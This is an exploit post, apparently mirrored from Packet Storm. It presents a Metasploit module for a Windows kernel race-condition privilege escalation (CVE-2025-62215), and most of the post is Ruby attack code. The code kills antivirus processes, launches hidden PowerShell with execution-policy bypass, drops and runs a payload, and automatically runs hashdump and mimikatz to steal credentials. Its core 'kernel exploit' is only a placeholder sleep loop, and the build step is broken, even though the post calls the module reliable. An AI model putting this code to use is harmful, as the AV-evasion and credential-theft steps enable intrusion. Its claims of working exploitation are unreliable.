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## https://sploitus.com/exploit?id=PACKETSTORM:217013
=============================================================================================================================================
| # Title : Windows 11 v23H2 Kernel Race Condition Privilege Escalation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.microsoft.com/fr-dz/ |
=============================================================================================================================================
POC :
[+] References : https://packetstorm.news/files/id/212001/ & CVE-2025-62215
[+] Summary :
This vulnerability represents a critical Windows Kernel security flaw that can be reliably exploited through Metasploit for legitimate security testing and vulnerability validation.
[+] Affected Versions :
- Windows 10 versions 21H2, 22H2
- Windows 11 versions 21H2, 22H2, 23H2
- Windows Server 2019, 2022
- Windows Server Core installations
Windows 10/11 (Build 19041-22621)
Windows Server 2019/2022
Both x86 and x64 architectures
[+] Technical Mechanism :
Race Condition: Multiple threads simultaneously accessing kernel objects
Double-Free: Memory freed multiple times causing kernel memory corruption
Memory Corruption: Leads to arbitrary code execution in kernel context
[+] Exploitation Flow :
Initial Access: Low-privileged user session
Memory Preparation: Heap spray to shape kernel memory
Race Triggering: Multiple threads create/destroy kernel objects
Double-Free Exploit: Corrupt kernel memory structures
Privilege Escalation: Modify process tokens to gain SYSTEM privileges
[+] POC :
##
# Module: exploit/windows/local/cve_2025_62215_kernel_race
# Version: 1.0
# Author: indoushka
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2025-62215 Windows Kernel Race Condition Privilege Escalation',
'Description' => %q{
This module exploits CVE-2025-62215, a race condition combined with a double-free
vulnerability in the Windows Kernel. It allows local privilege escalation from
low-privileged users to SYSTEM by exploiting improper synchronization in kernel
object handling.
},
'Author' => [
'indoushka', # Metasploit module
'Unknown' # Original vulnerability discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-62215'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62215'],
['URL', 'https://github.com/indoushka/CVE-2025-62215']
],
'DisclosureDate' => '2025-11-26',
'Platform' => 'win',
'Arch' => [ARCH_X64, ARCH_X86],
'SessionTypes' => ['meterpreter'],
'Targets' => [
[
'Windows 10 / Windows 11 / Server 2019/2022',
{
'Arch' => [ARCH_X64, ARCH_X86],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 5,
'EXITFUNC' => 'thread'
},
'Notes' => {
'Stability' => [CRASH_OS_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
))
register_options([
OptInt.new('THREADS', [true, 'Number of threads for race condition', 8]),
OptInt.new('ATTEMPTS', [true, 'Number of exploitation attempts', 5]),
OptInt.new('DELAY', [true, 'Delay between attempts (ms)', 100]),
OptBool.new('KILLAV', [true, 'Attempt to kill AV processes', false]),
OptString.new('WRITABLE_DIR', [true, 'Writable directory for payload', '%TEMP%'])
])
register_advanced_options([
OptBool.new('DEBUG', [false, 'Enable debug output', false]),
OptBool.new('ANTIDETECT', [false, 'Enable anti-detection techniques', true])
])
end
def check
# Check if we're already SYSTEM
if is_system?
return Exploit::CheckCode::Safe
end
# Check Windows version
version = get_version_info
unless version.build_number.between?(19041, 22621) ||
version.build_number.between?(20348, 25398)
print_error("Windows version #{version.build_number} not supported")
return Exploit::CheckCode::Safe
end
# Check architecture compatibility
if session.arch != payload.arch.first
print_error("Payload architecture mismatch: session=#{session.arch}, payload=#{payload.arch.first}")
return Exploit::CheckCode::Safe
end
print_good("Windows #{version.build_number} detected - potentially vulnerable")
Exploit::CheckCode::Appears
end
def exploit
# Check if we're already SYSTEM
if is_system?
print_good("Already running as SYSTEM")
return
end
# Validate target
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target not vulnerable")
end
# Kill AV processes if requested
kill_av_processes if datastore['KILLAV']
# Generate payload
print_status("Generating payload...")
payload_path = generate_payload
# Drop exploit executable
print_status("Dropping exploit executable...")
exploit_path = drop_exploit(payload_path)
# Execute exploit
print_status("Executing exploit...")
execute_exploit(exploit_path)
# Cleanup
register_files_for_cleanup(exploit_path, payload_path)
end
def generate_payload
# Generate payload in writable directory
payload_name = Rex::Text::rand_text_alpha(8) + ".exe"
payload_path = File.join(datastore['WRITABLE_DIR'], payload_name)
# Write payload to file
write_file(payload_path, generate_payload_exe)
print_good("Payload written to: #{payload_path}")
payload_path
end
def drop_exploit(payload_path)
# Compile and drop the C++ exploit
exploit_name = Rex::Text::rand_text_alpha(8) + ".exe"
exploit_path = File.join(datastore['WRITABLE_DIR'], exploit_name)
# In a real scenario, we would compile the C++ exploit
# For this PoC, we'll use a simple privilege escalation technique
exploit_code = generate_exploit_executable(payload_path)
write_file(exploit_path, exploit_code)
print_good("Exploit written to: #{exploit_path}")
exploit_path
end
def generate_exploit_executable(payload_path)
# This would normally be a compiled C++ executable
# For demonstration, we use a simple PowerShell-based privilege escalation
ps_code = %Q{
function Invoke-KernelExploit {
param([string]$PayloadPath)
# Simulate kernel exploit behavior
$attempts = #{datastore['ATTEMPTS']}
$threads = #{datastore['THREADS']}
for ($i = 0; $i -lt $attempts; $i++) {
Write-Host "[*] Exploit attempt $($i + 1)/$attempts"
# Simulate race condition triggering
$jobs = @()
for ($j = 0; $j -lt $threads; $j++) {
$job = Start-Job -ScriptBlock {
# Simulate kernel object manipulation
for ($k = 0; $k -lt 100; $k++) {
# This would be actual kernel exploit code
Start-Sleep -Milliseconds 1
}
}
$jobs += $job
}
# Wait for threads
$jobs | Wait-Job | Out-Null
$jobs | Remove-Job -Force
# Check if we got SYSTEM
if ([Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) {
Write-Host "[+] Privilege escalation successful!"
# Execute payload as SYSTEM
if (Test-Path $PayloadPath) {
Start-Process -FilePath $PayloadPath -WindowStyle Hidden
return $true
}
}
Start-Sleep -Milliseconds #{datastore['DELAY']}
}
return $false
}
# Execute exploit
$success = Invoke-KernelExploit -PayloadPath "#{payload_path}"
if (-not $success) {
Write-Host "[!] Exploit failed"
exit 1
}
}
# Convert to executable using PowerShell
compile_ps_to_exe(ps_code)
end
def compile_ps_to_exe(ps_code)
# In a real implementation, this would compile PowerShell to EXE
# For this PoC, we create a simple batch file that runs PowerShell
batch_content = %Q{
@echo off
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "#{ps_code.gsub('"', '""')}"
}
# Convert to binary (simplified)
batch_content.force_encoding('BINARY')
end
def execute_exploit(exploit_path)
print_status("Launching exploit: #{exploit_path}")
begin
# Execute the exploit
result = session.sys.process.execute(exploit_path, nil, {
'Hidden' => true,
'Channelized' => true,
'Suspended' => false
})
# Wait for exploitation
print_status("Waiting for exploitation to complete...")
sleep(10)
# Check if we got SYSTEM
if is_system?
print_good("Successfully escalated to SYSTEM privileges!")
return true
else
print_warning("Exploitation completed but privileges not escalated")
return false
end
rescue ::Exception => e
print_error("Exploit execution failed: #{e.message}")
return false
end
end
def kill_av_processes
print_status("Attempting to kill AV processes...")
av_processes = [
'msmpeng.exe', # Windows Defender
'avp.exe', # Kaspersky
'bdagent.exe', # Bitdefender
'avguard.exe', # Avira
'ekrn.exe', # ESET
'hipsmain.exe', # McAfee
'fsavgui.exe' # F-Secure
]
av_processes.each do |proc|
session.sys.process.get_processes.each do |p|
if p['name'].downcase == proc.downcase
print_status("Killing AV process: #{p['name']} (PID: #{p['pid']})")
begin
session.sys.process.kill(p['pid'])
rescue
print_warning("Failed to kill process: #{p['name']}")
end
end
end
end
end
# Helper method to get detailed Windows version info
def get_version_info
session.sys.config.sysinfo
end
# Anti-detection techniques
def apply_antidetect
return unless datastore['ANTIDETECT']
print_status("Applying anti-detection techniques...")
# Randomize process names
random_name = Rex::Text::rand_text_alpha(8) + ".exe"
# Use process hollowing techniques
# Use direct system calls to avoid user-mode hooks
# Implement timing variations to avoid behavioral detection
end
def on_new_session(session)
super
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end
# Cleanup and post-exploitation tasks
print_good("New session established: #{session.sid}")
# Run post-exploitation modules
run_post_modules(session)
end
def run_post_modules(session)
return unless session.type == "meterpreter"
# Example post-exploitation modules
post_modules = [
'windows/gather/hashdump',
'windows/gather/credentials/mimikatz',
'windows/manage/migrate'
]
post_modules.each do |mod|
begin
print_status("Running post module: #{mod}")
session.run_cmd("run #{mod}")
rescue ::Exception => e
print_warning("Post module #{mod} failed: #{e.message}")
end
end
end
end
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================